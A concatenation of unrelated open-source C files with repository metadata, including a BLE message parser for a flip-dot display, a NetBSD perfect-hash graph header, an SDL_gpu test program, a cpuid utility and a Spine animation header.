Status = UsbIoPpi->UsbGetInterfaceDescriptor (
PeiServices,
UsbIoPpi,
&InterfaceDesc
);
if (EFI_ERROR(Status)) {
return Status;
}
for (EndpointIndex = 0; EndpointIndex < InterfaceDesc->NumEndpoints; EndpointIndex++) {
Status = UsbIoPpi->UsbGetEndpointDescriptor (PeiServices, UsbIoPpi, EndpointIndex, &EndpointDescriptor);
if (EFI_ERROR(Status)) {
return EFI_INVALID_PARAMETER;
}
if (EndpointDescriptor->EndpointAddress == EndpointAddress) {
break;
}
}
if (EndpointIndex == InterfaceDesc->NumEndpoints) {
return EFI_INVALID_PARAMETER;
}
Status = PeiUsbClearDeviceFeature (
PeiServices,
UsbIoPpi,
EfiUsbEndpoint,
EfiUsbEndpointHalt,
EndpointAddress
);
return Status;
}
|
2784f452dcf8798966b658684bbeda9b19774ce5
|
35c04ea32351dc95bc18d46e5c70dda9c1e08668
|
/Examples/MCUXpresso/tinyK22/tinyK22_HanoverFlipDot/source/bleMsg.c
|
e25072a30148be7d8811a916fc5b2b810a3f8dba
|
[
"LicenseRef-scancode-warranty-disclaimer"
] |
no_license
|
ErichStyger/mcuoneclipse
|
0f8e7a2056a26ed79d9d4a0afd64777ff0b2b2fe
|
04ad311b11860ae5f8285316010961a87fa06d0c
|
refs/heads/master
| 2023-08-28T22:54:08.501719
| 2023-08-25T15:11:44
| 2023-08-25T15:11:44
| 7,446,094
| 620
| 1,191
|
NOASSERTION
| 2020-10-16T03:13:28
| 2013-01-04T19:38:12
|
Batchfile
|
UTF-8
|
C
| false
| false
| 8,040
|
c
|
bleMsg.c
|
/*
* Copyright (c) 2020, Erich Styger
*
* SPDX-License-Identifier: BSD-3-Clause
*/
#include "platform.h"
#if PL_CONFIG_USE_BLE_MSG
#include "bleMsg.h"
#include "McuRTOS.h"
#include "Shell.h"
#include "McuUtility.h"
#include "McuLog.h"
#include <string.h>
static QueueHandle_t BleMsgQueue; /* queue for the shell */
static BaseType_t BLEMSG_PutItem(BLE_Msg_t *msg, TickType_t ticksToWait) {
return xQueueSend(BleMsgQueue, msg, ticksToWait);
}
static BaseType_t BLEMSG_GetItem(BLE_Msg_t *msg, TickType_t ticksToWait) {
return xQueueReceive(BleMsgQueue, msg, ticksToWait);
}
bool BLEMSG_HandleMessage(void) {
uint8_t cmd[64];
BLE_Msg_t msg;
cmd[0] = '\0';
if (BLEMSG_GetItem(&msg, 0)==pdPASS) {
if (msg.type==BLE_MSG_TYPE_BUTTON_PRESSED) {
switch(msg.u.button) {
case 1: /* button '1' */
#if PL_CONFIG_USE_CLOCK
McuUtility_strcpy(cmd, sizeof(cmd), (uint8_t*)"matrix he all on");
#elif PL_CONFIG_USE_LED_PIXEL
#endif
break;
case 2: /* button '2' */
#if PL_CONFIG_USE_CLOCK
McuUtility_strcpy(cmd, sizeof(cmd), (uint8_t*)"matrix he all off");
#elif PL_CONFIG_USE_LED_PIXEL
#endif
break;
case 3: /* button '3' */
#if PL_CONFIG_USE_CLOCK
McuUtility_strcpy(cmd, sizeof(cmd), (uint8_t*)"matrix he all on");
#elif PL_CONFIG_USE_LED_PIXEL
#endif
break;
case 4: /* button '4' */
#if PL_CONFIG_USE_CLOCK
McuUtility_strcpy(cmd, sizeof(cmd), (uint8_t*)"matrix he all off");
#elif PL_CONFIG_USE_LED_PIXEL
#endif
break;
case 5: /* button 'up' */
#if PL_CONFIG_USE_CLOCK
McuUtility_strcpy(cmd, sizeof(cmd), (uint8_t*)"matrix hour 12");
#elif PL_CONFIG_USE_LED_PIXEL
#endif
break;
case 6: /* button 'down' */
#if PL_CONFIG_USE_CLOCK
McuUtility_strcpy(cmd, sizeof(cmd), (uint8_t*)"matrix hour 6");
#elif PL_CONFIG_USE_LED_PIXEL
#endif
break;
case 7: /* button 'left' */
#if PL_CONFIG_USE_CLOCK
McuUtility_strcpy(cmd, sizeof(cmd), (uint8_t*)"matrix hour 9");
#elif PL_CONFIG_USE_LED_PIXEL
#endif
break;
case 8: /* button 'right' */
#if PL_CONFIG_USE_CLOCK
McuUtility_strcpy(cmd, sizeof(cmd), (uint8_t*)"matrix hour 3");
#elif PL_CONFIG_USE_LED_PIXEL
#endif
break;
default:
cmd[0] = '\0';
break;
} /* switch */
} else if (msg.type==BLE_MSG_TYPE_COLOR_PICKER) {
#if PL_CONFIG_USE_CLOCK
McuUtility_strcpy(cmd, sizeof(cmd), (uint8_t*)"matrix hand rgb all 0x");
McuUtility_strcatNum24Hex(cmd, sizeof(cmd), msg.u.color);
#elif PL_CONFIG_USE_LED_PIXEL
McuUtility_strcpy(cmd, sizeof(cmd), (uint8_t*)"matrix sendcmd neo set all 0x");
McuUtility_strcatNum24Hex(cmd, sizeof(cmd), msg.u.color);
#endif
} else if (msg.type==BLE_MSG_TYPE_ACCELEROMETER) {
// does not work yet?
// McuUtility_strcpy(cmd, sizeof(cmd), (uint8_t*)"matrix hand rgb all 0x");
// McuUtility_strcatNum24Hex(cmd, sizeof(cmd), msg.value);
}
(void)SHELL_ParseCommand(cmd, NULL, true);
} else {
return false; /* no messages waiting */
}
return uxQueueMessagesWaiting(BleMsgQueue)!=0; /* true if messages are waiting, false if no more messages */
}
static bool checkCRC(const uint8_t *buffer, size_t crcPos) {
uint8_t crc = buffer[crcPos];
uint8_t sum = 0;
for (int i=0; i<crcPos; i++) {
sum += buffer[i];
}
sum = ~sum;
if (crc==sum) {
return true; /* pass */
} else {
return false; /* fail */
}
}
bool BLEMSG_RxCallback(const uint8_t *buf) {
/* note: the NeoPixel code is here: https://github.com/adafruit/Adafruit_BluefruitLE_nRF51/tree/master/examples/neopixel */
size_t len;
BLE_Msg_t msg;
const uint8_t *p;
bool noError = true;
if (buf[0]!='!') {
return false; /* not a valid message */
}
p = buf;
for(;;) { /* breaks */
while (p[0]=='\r' || p[0]=='\n') { /* skip line endings */
p++;
}
if (p[0]=='\0') { /* reached the end */
break;
}
if (p[0]!='!') {
noError = false;
break; /* not a valid message start */
}
len = strlen((char*)p);
if (p[1]=='B' && len>=5) { /* Button */
/*
Button 4 pressed: [‘!’] [‘B’] [‘4’] [‘1’] [CRC]
Button 4 released: [‘!’] [‘B’] [‘4’] [‘0’] [CRC]
Button Up pressed: [‘!’] [‘B’] [‘5’] [‘1’] [CRC]
Button Down pressed: [‘!’] [‘B’] [‘6’] [‘1’] [CRC]
Button Left pressed: [‘!’] [‘B’] [‘7’] [‘1’] [CRC]
Button Right pressed: [‘!’] [‘B’] [‘8’] [‘1’] [CRC]
*/
if (!checkCRC(p, 4)) {
noError = false;
break; /* wrong crc */
}
if (p[3]=='1') {
msg.type = BLE_MSG_TYPE_BUTTON_PRESSED;
} else { /* '0' */
msg.type = BLE_MSG_TYPE_BUTTON_RELEASED;
}
msg.u.button = p[2]-'0';
if (BLEMSG_PutItem(&msg, pdMS_TO_TICKS(100))!=pdTRUE) {
noError = false;
break;
}
p += sizeof("!B41c")-1;
} else if (p[1]=='C' && len>=6) { /* Color */
if (!checkCRC(p, 5)) {
noError = false;
break; /* wrong crc */
}
msg.type = BLE_MSG_TYPE_COLOR_PICKER;
msg.u.color = (p[2]<<16)|(p[3]<<8)|p[4];
if (BLEMSG_PutItem(&msg, pdMS_TO_TICKS(100))!=pdTRUE) {
noError = false;
break;
}
p += sizeof("!CRGBc")-1;
} else if (p[1]=='A' && len>=9) { /* Accelerometer */
if (!checkCRC(p, 8)) {
noError = false;
break; /* wrong crc */
}
msg.type = BLE_MSG_TYPE_ACCELEROMETER;
msg.u.accel[0] = *((float*)(&p[2]));
msg.u.accel[1] = *((float*)&p[4]);
msg.u.accel[2] = *((float*)&p[6]);
if (BLEMSG_PutItem(&msg, pdMS_TO_TICKS(100))!=pdTRUE) {
noError = false;
break;
}
p += sizeof("!Axxyyzzc")-1;
} else if (p[1]=='M' && len>=9) { /* Magnetometer */
if (!checkCRC(p, 8)) {
noError = false;
break; /* wrong crc */
}
msg.type = BLE_MSG_TYPE_MAGNETOMETER;
msg.u.magnetometer[0] = *((float*)&p[2]);
msg.u.magnetometer[1] = *((float*)&p[4]);
msg.u.magnetometer[2] = *((float*)&p[6]);
if (BLEMSG_PutItem(&msg, pdMS_TO_TICKS(100))!=pdTRUE) {
noError = false;
break;
}
p += sizeof("!Mxxyyzzc")-1;
} else if (p[1]=='Q' && len>=11) { /* Quaternion */
if (!checkCRC(p, 10)) {
noError = false;
break; /* wrong crc */
}
msg.type = BLE_MSG_TYPE_QUATERNION;
msg.u.quaternion[0] = 0;
msg.u.quaternion[1] = 0;
msg.u.quaternion[2] = 0;
msg.u.quaternion[3] = 0;
if (BLEMSG_PutItem(&msg, pdMS_TO_TICKS(100))!=pdTRUE) {
noError = false;
break;
}
p += sizeof("!Qxxyyzzwwc")-1;
} else if (p[1]=='G' && len>=8) { /* Gyro */
if (!checkCRC(p, 8)) {
noError = false;
break; /* wrong crc */
}
msg.type = BLE_MSG_TYPE_GYRO;
msg.u.gyro[0] = 0;
msg.u.gyro[1] = 0;
msg.u.gyro[2] = 0;
if (BLEMSG_PutItem(&msg, pdMS_TO_TICKS(100))!=pdTRUE) {
noError = false;
break;
}
p += sizeof("!Gxxyyzzc")-1;
} else if (p[1]=='L' && len>=8) { /* Location */
if (!checkCRC(p, 8)) {
noError = false;
break; /* wrong crc */
}
msg.type = BLE_MSG_TYPE_LOCATION;
msg.u.location[0] = 0;
msg.u.location[1] = 0;
msg.u.location[2] = 0;
if (BLEMSG_PutItem(&msg, pdMS_TO_TICKS(100))!=pdTRUE) {
noError = false;
break;
}
p += sizeof("!Lllooaac")-1;
}
} /* for */
return noError; /* true: no errors */
}
void BLEMSG_Init(void) {
BleMsgQueue = xQueueCreate(10, sizeof(BLE_Msg_t));
if (BleMsgQueue==NULL) {
for(;;){} /* out of memory? */
}
vQueueAddToRegistry(BleMsgQueue, "BleMsg");
}
#endif /* PL_CONFIG_USE_BLE_MSG */
|
cbde02aad3f3b231ad59a5ad67f9d960721fae57
|
28d0f8c01599f8f6c711bdde0b59f9c2cd221203
|
/usr.bin/nbperf/graph2.h
|
3da2025ab4d56288c1781628f0608f70616eac73
|
[] |
no_license
|
NetBSD/src
|
1a9cbc22ed778be638b37869ed4fb5c8dd616166
|
23ee83f7c0aea0777bd89d8ebd7f0cde9880d13c
|
refs/heads/trunk
| 2023-08-31T13:24:58.105962
| 2023-08-27T15:50:47
| 2023-08-27T15:50:47
| 88,439,547
| 656
| 348
| null | 2023-07-20T20:07:24
| 2017-04-16T20:03:43
| null |
UTF-8
|
C
| false
| false
| 3,312
|
h
|
graph2.h
|
/* $NetBSD: graph2.h,v 1.2 2021/01/07 16:03:08 joerg Exp $ */
/*-
* Copyright (c) 2009 The NetBSD Foundation, Inc.
* All rights reserved.
*
* This code is derived from software contributed to The NetBSD Foundation
* by Joerg Sonnenberger.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
/*
* Implementation of common 2/3-graph routines:
* - build a 2/3-graph with hash-pairs as edges
* - check a 2/3-graph for acyclicness and compute an output order
*
* For each vertex in the 2/3-graph, the incidence lists need to kept.
* Avoid storing the full list by just XORing the indices of the still
* incident edges and the number of such edges as that's all the peeling
* computation needs. This is inspired by:
* Cache-Oblivious Peeling of Random Hypergraphs by Djamal Belazzougui,
* Paolo Boldi, Giuseppe Ottaviano, Rossano Venturini, and Sebastiano
* Vigna. https://arxiv.org/abs/1312.0526
*
* Unlike in the paper, we don't care about external storage and have
* the edge list at hand all the time. As such, no ordering is necessary
* and the vertices of the edge don't have to be copied.
*
* The core observation of the paper above is that for a degree of one,
* the incident edge can be obtained directly.
*/
#ifndef GRAPH_SIZE
#define GRAPH_SIZE 2
#endif
#define SIZED__(n, i) n ## i
#define SIZED_(n, i) SIZED__(n, i)
#define SIZED(n) SIZED_(n, GRAPH_SIZE)
#define SIZED2__(n, i, m) n ## i ## m
#define SIZED2_(n, i, m) SIZED2__(n, i, m)
#define SIZED2(n) SIZED2_(graph, GRAPH_SIZE, n)
struct SIZED(vertex) {
uint32_t degree, edges;
};
struct SIZED(edge) {
uint32_t vertices[GRAPH_SIZE];
};
struct SIZED(graph) {
struct SIZED(vertex) *verts;
struct SIZED(edge) *edges;
uint32_t output_index;
uint32_t *output_order;
uint8_t *visited;
uint32_t e, v;
int hash_fudge;
};
void SIZED2(_setup)(struct SIZED(graph) *, uint32_t, uint32_t);
void SIZED2(_free)(struct SIZED(graph) *);
int SIZED2(_hash)(struct nbperf *, struct SIZED(graph) *);
int SIZED2(_output_order)(struct SIZED(graph) *graph);
|
942effc6f3cd19e6f5cf6eccf8a85ab7fa3370dc
|
b98323f2b23a23d674bbb75c6f5db0b5aafbe57a
|
/tests/virtual-resolution/main.c
|
3d31f6acc03e79f16ead251b64ed34cfee25fd82
|
[
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
grimfang4/sdl-gpu
|
f03f24fd84a8e2f61d8c9c331044a592f6bbfd97
|
e8ee3522ba0dbe72ca387d978e5f49a9f31e7ba0
|
refs/heads/master
| 2023-07-10T10:56:21.827473
| 2022-06-24T14:59:46
| 2022-06-24T15:00:01
| 32,435,968
| 1,269
| 175
|
MIT
| 2022-09-03T11:53:58
| 2015-03-18T03:33:13
|
C
|
UTF-8
|
C
| false
| false
| 3,061
|
c
|
main.c
|
#include "SDL.h"
#include "SDL_gpu.h"
#include <math.h>
#include "compat.h"
#include "common.h"
int main(int argc, char* argv[])
{
GPU_Target* screen;
printRenderers();
screen = GPU_Init(300, 200, GPU_DEFAULT_INIT_FLAGS);
if(screen == NULL)
return -1;
printCurrentRenderer();
{
Uint32 startTime;
long frameCount;
Uint8 done;
SDL_Event event;
GPU_Image* image;
GPU_Target* target;
SDL_Color circleColor = {255, 0, 0, 128};
SDL_Color circleColor2 = {0, 0, 255, 128};
SDL_Color rect_color1 = {0, 255, 0, 128};
const Uint8* keystates = SDL_GetKeyState(NULL);
int x = 0;
int y = 0;
image = GPU_LoadImage("data/test.bmp");
if(image == NULL)
return -1;
target = GPU_LoadTarget(image);
if(target == NULL)
return -1;
GPU_CircleFilled(target, 70, 70, 20, circleColor);
startTime = SDL_GetTicks();
frameCount = 0;
done = 0;
while(!done)
{
while(SDL_PollEvent(&event))
{
if(event.type == SDL_QUIT)
done = 1;
else if(event.type == SDL_KEYDOWN)
{
if(event.key.keysym.sym == SDLK_ESCAPE)
done = 1;
else if (event.key.keysym.sym == SDLK_f)
GPU_SetFullscreen(!GPU_GetFullscreen(), 0);
else if (event.key.keysym.sym == SDLK_g)
GPU_SetFullscreen(!GPU_GetFullscreen(), 1);
else if (event.key.keysym.sym == SDLK_1)
GPU_UnsetVirtualResolution(screen);
else if (event.key.keysym.sym == SDLK_2)
GPU_SetVirtualResolution(screen, 100, 100);
else if (event.key.keysym.sym == SDLK_3)
GPU_SetVirtualResolution(screen, 320, 240);
else if (event.key.keysym.sym == SDLK_4)
GPU_SetVirtualResolution(screen, 640, 480);
else if (event.key.keysym.sym == SDLK_5)
GPU_SetVirtualResolution(screen, 800, 600);
else if (event.key.keysym.sym == SDLK_6)
GPU_SetVirtualResolution(screen, 1024, 768);
}
}
if(keystates[KEY_UP])
y -= 1;
else if(keystates[KEY_DOWN])
y += 1;
if(keystates[KEY_LEFT])
x -= 1;
else if(keystates[KEY_RIGHT])
x += 1;
GPU_Clear(screen);
GPU_Blit(image, NULL, screen, image->w/2 + 50, image->h/2 + 50);
GPU_CircleFilled(screen, 50 + 70, 50 + 70, 20, circleColor2);
GPU_Rectangle(screen, 0, 0, screen->w, screen->h, rect_color1);
GPU_Flip(screen);
frameCount++;
if(frameCount%500 == 0)
{
printf("Average FPS: %.2f\n", 1000.0f*frameCount/(SDL_GetTicks() - startTime));
printf("x,y: (%d, %d)\n", x, y);
}
}
printf("Average FPS: %.2f\n", 1000.0f*frameCount/(SDL_GetTicks() - startTime));
GPU_FreeImage(image);
}
GPU_Quit();
return 0;
}
|
cb2a10b57c0b27e7b21af7b4b07e2b210ab7d382
|
011147f04a3263e43509867691869a9a575e3bb0
|
/sysutils/cpuid/files/cpuid.c
|
5b787bf194bbc6ddd11b11b81320ae249d115861
|
[] |
no_license
|
openbsd/ports
|
8730840f68822adc295d67ee3ea01deb9dbdfdf2
|
a88299a2427d03e0c921e5150e82f64a5ecd6fef
|
refs/heads/master
| 2023-08-31T03:53:19.847558
| 2023-08-30T17:48:38
| 2023-08-30T17:48:38
| 66,967,003
| 509
| 165
| null | 2023-06-28T08:44:13
| 2016-08-30T18:30:14
|
Makefile
|
UTF-8
|
C
| false
| false
| 2,643
|
c
|
cpuid.c
|
/*
* Copyright (c) 2016 Philip Guenther <guenther@openbsd.org>
* Copyright (c) 2016 Stuart Henderson <sthen@openbsd.org>
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#include <ctype.h>
#include <err.h>
#include <errno.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static inline void
showreg(const char *reg, unsigned value, int show_ascii)
{
unsigned char c;
printf("%s = 0x%08x % 10u", reg, value, value);
if (show_ascii) {
fputs(" \"", stdout);
c = value & 0xff; putchar(isprint(c) ? c : '?');
c = (value >> 8) & 0xff; putchar(isprint(c) ? c : '?');
c = (value >> 16) & 0xff; putchar(isprint(c) ? c : '?');
c = (value >> 24) & 0xff; putchar(isprint(c) ? c : '?');
putchar('"');
}
putchar('\n');
}
int
main(int argc, char **argv)
{
unsigned long code, leaf;
unsigned int a, b, c, d;
leaf = 0;
switch (argc) {
case 3:
errno = 0;
/* strtoul() to both dec and hex input */
leaf = strtoul(argv[2], NULL, 0);
if (leaf == ULONG_MAX && errno == ERANGE || leaf > UINT_MAX)
errx(1, "cpuid leaf out of range: %s", argv[2]);
/* FALLTHROUGH */
case 2:
errno = 0;
code = strtoul(argv[1], NULL, 0);
if (code == ULONG_MAX && errno == ERANGE || code > UINT_MAX)
errx(1, "cpuid code out of range: %s", argv[1]);
break;
default:
printf("usage: cpuid code [leaf]\n");
exit(1);
}
/*
* The dance here with %ebx is to work around a gcc bug on i386,
* where gcc uses %ebx for PIC/PIE code but fail to save/reload
* it around __asm() blocks that use %ebx. Oddly, if you declare
* that the __asm() *clobbers* ebx, gcc complains.
* Anyway, this dance is unnecessary but harmless on amd64.
*/
__asm volatile("mov %%ebx, %%esi; cpuid; xchg %%esi, %%ebx"
: "=a" (a), "=S" (b), "=c" (c), "=d" (d)
: "a" (code), "c" (leaf));
showreg("eax", a, 1);
showreg("ebx", b, 1);
showreg("ecx", c, 1);
showreg("edx", d, 1);
//getc(stdin);
return 0;
}
|
3cac552411d5c1905c2fa25e1e1062be9f29f211
|
c120bdf382675d0b1d87734a4584a193032bfe11
|
/Source/vtkDICOMCharacterSetTables.h
|
f7b08829267e73c3ae514e058aafc852b89133cf
|
[] |
permissive
|
dgobbi/vtk-dicom
|
9fd613c8077dcdd83816c381b6bd4b12507597c6
|
0b569851094f07f8d8d09c9e8c60985096a18cf8
|
refs/heads/master
| 2023-08-31T08:16:44.823012
| 2023-08-23T22:06:45
| 2023-08-27T18:04:10
| 10,230,441
| 222
| 93
|
BSD-3-Clause
| 2022-08-06T23:40:31
| 2013-05-22T21:45:58
|
C++
|
UTF-8
|
C
| false
| false
| 958
|
h
|
vtkDICOMCharacterSetTables.h
|
/*=========================================================================
Program: DICOM for VTK
Copyright (c) 2012-2022 David Gobbi
All rights reserved.
See Copyright.txt or http://dgobbi.github.io/bsd3.txt for details.
This software is distributed WITHOUT ANY WARRANTY; without even
the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
PURPOSE. See the above copyright notice for more information.
=========================================================================*/
#ifndef vtkDICOMCharacterSetTables_h
#define vtkDICOMCharacterSetTables_h
#include "vtkDICOMCharacterSet.h"
// The vtkDICOMCharacterSetTables module contains auto-generated
// code for the vtkDICOMCharacterSet class. As such, it does not
// provide any classes of its own.
//! The unicode "REPLACEMENT CHARACTER"
#define RCHAR 0xFFFD
#endif /* vtkDICOMCharacterSetTables_h */
// VTK-HeaderTest-Exclude: vtkDICOMCharacterSetTables.h
|
a97ae1b0b85f56ce9911be6aef229f8ba95a9276
|
0fa1152e1e434ce9fe9e2db95f43f25675bf7d27
|
/platforms/common/empty.c
|
1395313542e84d1b9c3b71d5095ddf043425f679
|
[
"BSD-3-Clause"
] |
permissive
|
PX4/PX4-Autopilot
|
4cc90dccc9285ca4db7f595ac5a7547df02ca92e
|
3d61ab84c42ff8623bd48ff0ba74f9cf26bb402b
|
refs/heads/main
| 2023-08-30T23:58:35.398450
| 2022-03-26T01:29:03
| 2023-08-30T15:40:01
| 5,298,790
| 3,146
| 3,798
|
BSD-3-Clause
| 2023-09-14T17:22:04
| 2012-08-04T21:19:36
|
C++
|
UTF-8
|
C
| false
| false
| 94
|
c
|
empty.c
|
/*
* This is an empty C source file, used when building default firmware configurations.
*/
|
ff36814807475214434a77094e615d7f69f84f45
|
f8cc1dd4b1378490386def2e0571561fab10b275
|
/src/libstddjb/localtmn_fmt.c
|
00147ecc8878239300653cf5bcf1d5fa4c30ddcc
|
[
"ISC"
] |
permissive
|
skarnet/skalibs
|
b1eb2a0e38663cbfa918ee0a7916f56227bd7c2d
|
1f2d5f95684e93f8523e369ef1fed7a75c444082
|
refs/heads/master
| 2023-08-23T07:33:20.996016
| 2023-08-08T09:39:15
| 2023-08-08T09:39:15
| 31,461,366
| 104
| 32
|
ISC
| 2021-04-11T10:10:54
| 2015-02-28T12:01:41
|
C
|
UTF-8
|
C
| false
| false
| 249
|
c
|
localtmn_fmt.c
|
/* ISC license. */
#include <skalibs/uint32.h>
#include <skalibs/djbtime.h>
size_t localtmn_fmt (char *s, localtmn const *l)
{
char *p = s ;
p += localtm_fmt(p, &l->tm) ; *p++ = '.' ;
uint320_fmt(p, l->nano, 9) ; p += 9 ;
return p - s ;
}
|
cfe46eb856c8c34fb6a4c9c537ad25f2447bdffc
|
6f8bf483b372d8bd526698a083309edb50b0bd90
|
/libs/spine-c/include/spine/AnimationState.h
|
fbbed376d1a3d87a78cdbb67f15ced36f48494b3
|
[
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
floooh/sokol-samples
|
d48466f0da1b07c57b98733827074289faa335c9
|
578d71daed073dbeb2e5e3d74a3485cf46733cd7
|
refs/heads/master
| 2023-08-31T04:06:28.791638
| 2023-07-26T19:31:00
| 2023-07-26T19:31:00
| 97,253,410
| 496
| 100
|
MIT
| 2023-07-26T19:31:01
| 2017-07-14T16:29:50
|
C
|
UTF-8
|
C
| false
| false
| 5,823
|
h
|
AnimationState.h
|
/******************************************************************************
* Spine Runtimes License Agreement
* Last updated September 24, 2021. Replaces all prior versions.
*
* Copyright (c) 2013-2021, Esoteric Software LLC
*
* Integration of the Spine Runtimes into software or otherwise creating
* derivative works of the Spine Runtimes is permitted under the terms and
* conditions of Section 2 of the Spine Editor License Agreement:
* http://esotericsoftware.com/spine-editor-license
*
* Otherwise, it is permitted to integrate the Spine Runtimes into software
* or otherwise create derivative works of the Spine Runtimes (collectively,
* "Products"), provided that each user of the Products must obtain their own
* Spine Editor license and redistribution of the Products in any form must
* include this license and copyright notice.
*
* THE SPINE RUNTIMES ARE PROVIDED BY ESOTERIC SOFTWARE LLC "AS IS" AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL ESOTERIC SOFTWARE LLC BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES,
* BUSINESS INTERRUPTION, OR LOSS OF USE, DATA, OR PROFITS) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THE SPINE RUNTIMES, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*****************************************************************************/
#ifndef SPINE_ANIMATIONSTATE_H_
#define SPINE_ANIMATIONSTATE_H_
#include <spine/dll.h>
#include <spine/Animation.h>
#include <spine/AnimationStateData.h>
#include <spine/Event.h>
#include <spine/Array.h>
#ifdef __cplusplus
extern "C" {
#endif
typedef enum {
SP_ANIMATION_START,
SP_ANIMATION_INTERRUPT,
SP_ANIMATION_END,
SP_ANIMATION_COMPLETE,
SP_ANIMATION_DISPOSE,
SP_ANIMATION_EVENT
} spEventType;
typedef struct spAnimationState spAnimationState;
typedef struct spTrackEntry spTrackEntry;
typedef void (*spAnimationStateListener)(spAnimationState *state, spEventType type, spTrackEntry *entry,
spEvent *event);
_SP_ARRAY_DECLARE_TYPE(spTrackEntryArray, spTrackEntry*)
struct spTrackEntry {
spAnimation *animation;
spTrackEntry *previous;
spTrackEntry *next;
spTrackEntry *mixingFrom;
spTrackEntry *mixingTo;
spAnimationStateListener listener;
int trackIndex;
int /*boolean*/ loop;
int /*boolean*/ holdPrevious;
int /*boolean*/ reverse;
int /*boolean*/ shortestRotation;
float eventThreshold, attachmentThreshold, drawOrderThreshold;
float animationStart, animationEnd, animationLast, nextAnimationLast;
float delay, trackTime, trackLast, nextTrackLast, trackEnd, timeScale;
float alpha, mixTime, mixDuration, interruptAlpha, totalAlpha;
spMixBlend mixBlend;
spIntArray *timelineMode;
spTrackEntryArray *timelineHoldMix;
float *timelinesRotation;
int timelinesRotationCount;
void *rendererObject;
void *userData;
};
struct spAnimationState {
spAnimationStateData *const data;
int tracksCount;
spTrackEntry **tracks;
spAnimationStateListener listener;
float timeScale;
void *rendererObject;
void *userData;
int unkeyedState;
};
/* @param data May be 0 for no mixing. */
SP_API spAnimationState *spAnimationState_create(spAnimationStateData *data);
SP_API void spAnimationState_dispose(spAnimationState *self);
SP_API void spAnimationState_update(spAnimationState *self, float delta);
SP_API int /**bool**/ spAnimationState_apply(spAnimationState *self, struct spSkeleton *skeleton);
SP_API void spAnimationState_clearTracks(spAnimationState *self);
SP_API void spAnimationState_clearTrack(spAnimationState *self, int trackIndex);
/** Set the current animation. Any queued animations are cleared. */
SP_API spTrackEntry *
spAnimationState_setAnimationByName(spAnimationState *self, int trackIndex, const char *animationName,
int/*bool*/loop);
SP_API spTrackEntry *
spAnimationState_setAnimation(spAnimationState *self, int trackIndex, spAnimation *animation, int/*bool*/loop);
/** Adds an animation to be played delay seconds after the current or last queued animation, taking into account any mix
* duration. */
SP_API spTrackEntry *
spAnimationState_addAnimationByName(spAnimationState *self, int trackIndex, const char *animationName,
int/*bool*/loop, float delay);
SP_API spTrackEntry *
spAnimationState_addAnimation(spAnimationState *self, int trackIndex, spAnimation *animation, int/*bool*/loop,
float delay);
SP_API spTrackEntry *spAnimationState_setEmptyAnimation(spAnimationState *self, int trackIndex, float mixDuration);
SP_API spTrackEntry *
spAnimationState_addEmptyAnimation(spAnimationState *self, int trackIndex, float mixDuration, float delay);
SP_API void spAnimationState_setEmptyAnimations(spAnimationState *self, float mixDuration);
SP_API spTrackEntry *spAnimationState_getCurrent(spAnimationState *self, int trackIndex);
SP_API void spAnimationState_clearListenerNotifications(spAnimationState *self);
SP_API float spTrackEntry_getAnimationTime(spTrackEntry *entry);
SP_API float spTrackEntry_getTrackComplete(spTrackEntry *entry);
SP_API void spAnimationState_clearNext(spAnimationState *self, spTrackEntry *entry);
/** Use this to dispose static memory before your app exits to appease your memory leak detector*/
